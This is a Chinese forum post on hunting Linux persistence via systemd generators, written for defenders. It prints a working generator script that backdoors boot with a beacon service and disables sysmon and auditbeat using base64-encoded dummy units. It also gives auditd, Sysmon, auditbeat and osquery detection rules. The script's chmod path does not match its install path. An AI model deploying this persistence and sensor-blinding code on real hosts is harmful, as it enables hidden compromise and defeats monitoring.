安全矩阵

 找回密码
 立即注册
搜索
查看: 1097|回复: 0

Linux权限维持狩猎:Systemd生成器

[复制链接]

180

主题

231

帖子

1180

积分

金牌会员

Rank: 6Rank: 6

积分
1180
发表于 2022-10-3 11:07:08 | 显示全部楼层 |阅读模式

Linux权限维持狩猎:Systemd生成器

1 介绍
在本文中,将讨论一种披露较少的特殊权限维持技术,并围绕“引导或登录初始化脚本:systemd-generators”主题展开。
本文将给出示例命令,介绍如何实现这些权限维持技术,以及如何使用诸如auditd、sysmon和auditbeats等开源解决方案产生告警。2 引导或登录初始化脚本:systemd-generators
在MITRE ATT&CK矩阵中没有相应的专门子技术。只是在浏览systemd文档和研究rc.local、init.d脚本时偶然所获。
2.1 systemd-generators是什么
通过参考debian的帮助页可知systemd.generator是:
生成器是放置在/lib/systemd/system-Generators/和[下面]列出的其他目录中的小型可执行程序。Systemd(1)将在系统引导的早期和配置重新加载时执行二进制文件——也早于单元文件的加载。
这些目录可以在手册页中找到,下面将他们列出来:
  • /etc/systemd/system-generators/*
  • /usr/local/lib/systemd/system-generators/*
  • /lib/systemd/system-generators/*
  • /etc/systemd/user-generators/*
  • /usr/local/lib/systemd/user-generators/*
  • /usr/lib/systemd/user-generators/*

systemd-rc-local-generator和system-sysv-generator分别用于处理rc.local和init.d脚本。这些可执行程序通过解析传统启动脚本并在系统引导时创建包装器service单元文件,将它们转换为systemd服务。这是systemd运行任何服务之前的预处理步骤。

其他模块也可以将自己的可执行文件放在上述位置之一,这也会在系统引导或systemd配置重新加载时执行。例如,安装openvpn时会生成/usr/lib/systemd/system-generators/openvpn-generator。

对于后门来说,这是一个具有吸引力的位置,因为systemd生成器在系统引导过程的早期就能执行。事实上,这是所发现的最早的不需要进入内核或安装rootkit就可以运行可执行文件的地方。生成器可执行程序在任何服务启动之前运行,因此,当防御者使用日志记录器和其他传感器服务(如syslog、auditd、sysmon或auditbeat)来监视主机时,它们不会运行以捕获生成器的行为。此外,恶意生成器可能会在服务单元文件运行之前篡改它们。

不过还是有限制的,手册页给出了这样的注释:

生成器在系统引导的非常早期运行,不能依赖任何外部服务。它们不会与任何其他进程进行通信。可以做一些简单的事情,比如记录到syslog(3)或systemd本身(这意味着没有systemctl(1))。像/var/和/home/这样的非必要文件系统在生成器运行后才挂载。但是,生成器可以依赖最基本的内核功能,以及挂载的/sys/、/proc/、/dev/、/usr/和/run/文件系统。
2.2 创建恶意生成器目标如下:
  • 创建一个可运行的恶意服务;
  • 屏蔽sysmon.service 和 auditbeat.service。

假设脚本/opt/beacon.sh已经存在。可以用不同的路径替换ExecStart,甚至直接添加反弹shell。
然后将一个简单的可执行脚本放在/lib/systemd/system-generators/system-network-generator中。当它运行时将:
  • 创建一个/run/systemd/system/networking.service单元文件;
  • 创建一个指向/run/systemd/system/multi-user.target.wants/networking.service的symlink以启用服务;
  • 创建一个sysmon.service和auditbeat.service来覆盖原始服务的配置。
    1. cat > /usr/lib/systemd/system-generators/systemd-network-generator << EOF
    2. #! /bin/bash

    3. # Create networking.service and enabling it to run later in the boot process
    4. echo 'W1VuaXRdCkRlc2NyaXB0aW9uPW5ldHdvcmtpbmcuc2VydmljZQoKW1NlcnZpY2VdCkV4ZWNTdGFydD0vb3B0L2JlYWNvbi5zaAoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/system/networking.service

    5. mkdir -p /run/systemd/system/multi-user.target.wants/
    6. ln -s /run/systemd/system/networking.service /run/systemd/system/multi-user.target.wants/networking.service


    7. # Create adds dummy service unit files to overwrite sysmon.service and auditbeat.service
    8. mkdir -p /run/systemd/generator.early
    9. echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/generator.early/sysmon.service
    10. echo 'W1VuaXRdCkRlc2NyaXB0aW9uPSJTa2lwcGVkIgoKW1NlcnZpY2VdCkV4ZWNTdGFydD1lY2hvICJTa2lwcGVkIgoKW0luc3RhbGxdCldhbnRlZEJ5PW11bHRpLXVzZXIudGFyZ2V0' | base64 -d > /run/systemd/generator.early/auditbeat.service
    11. EOF

    12. chmod +x /lib/systemd/system-generators/systemd
    复制代码

疑问是:“为什么需要创建服务单元文件?为什么不直接在后台运行/opt/beacon.sh呢?
这是systemd生成器推荐的运行方式。例如,在执行生成器时,网络功能可能还没有准备好。因此,采用生成服务文件来代替对network.target的依赖。可以在系统引导时创建一个长时间运行的后台进程;它要么等待,要么重试,直到必要的操作系统功能可用。
生成的服务文件非常简单。如果想了解更多信息,请阅读之前的文章中最小化服务文件章节。
  1. [Unit]
  2. Description=networking.service

  3. [Service]
  4. ExecStart=/opt/beacon.sh

  5. [Install]
  6. WantedBy=multi-user.target
复制代码

下次重新启动,networking.service服务将运行。
  1. $ systemctl status networking
  2. ● networking.service
  3.    Loaded: loaded (/run/systemd/system/networking.service; enabled; vendor preset: enabled)
  4.    Active: active (running) since Wed 2022-02-02 06:42:47 UTC; 19s ago
  5. Main PID: 374 (beacon.sh)
  6.     Tasks: 2 (limit: 4651)
  7.    Memory: 15.7M
  8.    CGroup: /system.slice/networking.service
  9.            ├─374 /bin/bash /opt/beacon.sh
  10.            └─377 bash -l
复制代码

当然,可以将ExecStart的值或/opt/beacon.sh的内容修改为想要的任何脚本。

也因为在/run/systemd/generator.early/写入了新的sysmon.serviceauditbeat.service,它们优先于/etc/systemd/system/lib/systemd/system(参见system-analyze unit-paths中的顺序)sysmonauditbeat没有运行正确的守护进程。
  1. $ systemctl status auditbeat
  2. ● auditbeat.service - "Skipped"
  3.    Loaded: loaded (/run/systemd/generator.early/auditbeat.service; generated)
  4.    Active: inactive (dead) since Wed 2022-02-02 07:15:30 UTC; 15s ago
  5.   Process: 377 ExecStart=/usr/bin/echo Skipped (code=exited, status=0/SUCCESS)
  6. Main PID: 377 (code=exited, status=0/SUCCESS)

  7. Feb 02 07:15:30 host systemd[1]: Started "Skipped".
  8. Feb 02 07:15:30 host echo[377]: Skipped
  9. Feb 02 07:15:30 host systemd[1]: auditbeat.service: Succeeded.

  10. $ systemctl status sysmon
  11. ● sysmon.service - "Skipped"
  12.    Loaded: loaded (/run/systemd/generator.early/sysmon.service; generated)
  13.    Active: inactive (dead) since Wed 2022-02-02 07:15:30 UTC; 26s ago
  14.   Process: 380 ExecStart=/usr/bin/echo Skipped (code=exited, status=0/SUCCESS)
  15. Main PID: 380 (code=exited, status=0/SUCCESS)

  16. Feb 02 07:15:30 host systemd[1]: Started "Skipped".
  17. Feb 02 07:15:30 host echo[380]: Skipped
  18. Feb 02 07:15:30 host systemd[1]: sysmon.service: Succeeded.
复制代码

添加的仿冒服务文件只是echo "Skipped",而不是运行sysmon和auditbeat守护进程。

  1. [Unit]
  2. Description="Skipped"

  3. [Service]
  4. ExecStart=echo "Skipped"

  5. [Install]
  6. WantedBy=multi-user.target
复制代码

2.3 检测systemd生成器的创建很难监视systemd生成器的执行,因为它们在系统引导时运行,甚至在sysmonauditd运行之前。因此,要解决这个问题的主要方法是寻找systemd生成器的创建和修改。2.3.1 auditd这不是Neo23x0/auditd中的一部分,不过可以使用以下审计规则监视rc.local的创建或修改。
  1. -w /etc/systemd/system-generators/ -p wa -k systemd_generator
  2. -w /usr/local/lib/systemd/system-generators/ -p wa -k systemd_generator
  3. -w /lib/systemd/system-generators/ -p wa -k systemd_generator
  4. -w /usr/lib/systemd/system-generators -p wa -k systemd_generator
  5. -w /etc/systemd/user-generators/ -p wa -k systemd_generator
  6. -w /usr/local/lib/systemd/user-generators/ -p wa -k systemd_generator
  7. -w /usr/lib/systemd/user-generators/ -p wa -k systemd_generator
复制代码

2.3.2 sysmon类似的,microsoft/MSTIC-Sysmon中也没有sysmon规则。
但是可以创建一个规则来检测系统或用户创建的文件。
  1. <FileCreate onmatch="include">
  2.     <Rule name="TechniqueID=T1037,TechniqueName=Boot or Logon Initialization Scripts: systemd-generators" groupRelation="or">
  3.         <TargetFilename condition="contains">/etc/systemd/system-generators/</TargetFilename>
  4.         <TargetFilename condition="contains">/usr/local/lib/systemd/system-generators/</TargetFilename>
  5.         <TargetFilename condition="contains">/lib/systemd/system-generators/</TargetFilename>
  6.         <TargetFilename condition="contains">/usr/lib/systemd/system-generators/</TargetFilename>
  7.         <TargetFilename condition="contains">/etc/systemd/user-generators/</TargetFilename>
  8.         <TargetFilename condition="contains">/usr/local/lib/systemd/user-generators/</TargetFilename>
  9.         <TargetFilename condition="contains">/usr/lib/systemd/user-generators/</TargetFilename>
  10.     </Rule>
  11. </FileCreate>
复制代码

上面的命令将生成如下日志:
  1. <Event>
  2.     <System>
  3.         <Provider Name="Linux-Sysmon" Guid="{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"/>
  4.         <EventID>11</EventID>
  5.         <Version>2</Version>
  6.         <Level>4</Level>
  7.         <Task>11</Task>
  8.         <Opcode>0</Opcode>
  9.         <Keywords>0x8000000000000000</Keywords>
  10.         <TimeCreated SystemTime="2022-02-06T13:10:59.597085000Z"/>
  11.         <EventRecordID>3056</EventRecordID>
  12.         <Correlation/>
  13.         <Execution ProcessID="5963" ThreadID="5963"/>
  14.         <Channel>Linux-Sysmon/Operational</Channel>
  15.         <Computer>persistence-blog</Computer>
  16.         <Security UserId="0"/>
  17.     </System>
  18.     <EventData>
  19.         <Data Name="RuleName">TechniqueID=T1037,TechniqueName=Boot or Logon Initializa</Data>
  20.         <Data Name="UtcTime">2022-02-06 13:10:59.595</Data>
  21.         <Data Name="ProcessGuid">{8491267f-c8e3-61ff-89a1-493c44560000}</Data>
  22.         <Data Name="ProcessId">6897</Data>
  23.         <Data Name="Image">/usr/bin/bash</Data>
  24.         <Data Name="TargetFilename">+/usr/lib/systemd/system-generators/systemd-network-generator</Data>
  25.         <Data Name="CreationUtcTime">2022-02-06 13:10:59.595</Data>
  26.         <Data Name="User">root</Data>
  27.     </EventData>
  28. </Event>
  29. 不确定的是,为什么日志中目标文件名的开头有个+。
  30. <TargetFilename condition="begin with">/usr/lib/systemd/system-generators/</TargetFilename>
  31. 这将导致上述规则失败,这也是为何要最终使用condition="contains"的原因。
  32. 2.3.3 auditbeats
  33. 默认情况下,auditbeat能监视上面的任何目录。也可试着把每一个都包括进去。

  34. - module: file_integrity
  35.   paths:
  36.     ...
  37.     - /etc/systemd/system-generators/
  38.     - /usr/local/lib/systemd/system-generators/
  39.     - /lib/systemd/system-generators/
  40.     - /etc/systemd/user-generators/
  41.     - /usr/local/lib/systemd/user-generators/
  42.     - /usr/lib/systemd/user-generators/
  43.   # recursive: true
复制代码

请注意,其中一些目录默认可能不存在,如/etc/systemd/user-generators/、/local/lib/systemd/system-generators/或/usr/local/lib/systemd/user-generators/。

2.3.4 osquery
  1. SELECT path, filename, size, atime, mtime, ctime, md5
  2. FROM file
  3. JOIN hash
  4. USING(path)
  5. WHERE file.directory IN (
  6.     '/etc/systemd/system-generators/',
  7.     '/usr/local/lib/systemd/system-generators/',
  8.     '/lib/systemd/system-generators/',
  9.     '/etc/systemd/user-generators/',
  10.     '/usr/local/lib/systemd/user-generators/',
  11.     '/usr/lib/systemd/user-generators/'
  12. )
  13. ORDER BY mtime DESC;
复制代码

3 下一步
在下一篇文章中,将用其他的权限维持技术进行整体总结。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:53 , Processed in 0.013022 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表